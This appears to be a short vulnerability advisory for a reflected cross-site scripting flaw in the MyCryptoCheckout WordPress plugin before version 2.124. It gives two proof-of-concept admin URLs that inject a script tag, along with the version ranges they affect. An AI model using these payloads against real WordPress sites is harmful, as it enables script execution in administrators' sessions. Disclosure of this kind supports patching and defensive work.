MyCryptoCheckout < 2.124 - Reflected XSS

Proof of Concept

Make a logged in admin open one of the URL below

v < 2.124- https://example.com/wp-admin/options-general.php?page=mycryptocheckout&tab=autosettlements&"><script>alert(/XSS/)</script> (will trigger when there is at least one Autosettlements)

v < 2.122 - https://example.com/wp-admin/options-general.php?page=mycryptocheckout&"><script>alert('XSS')</script>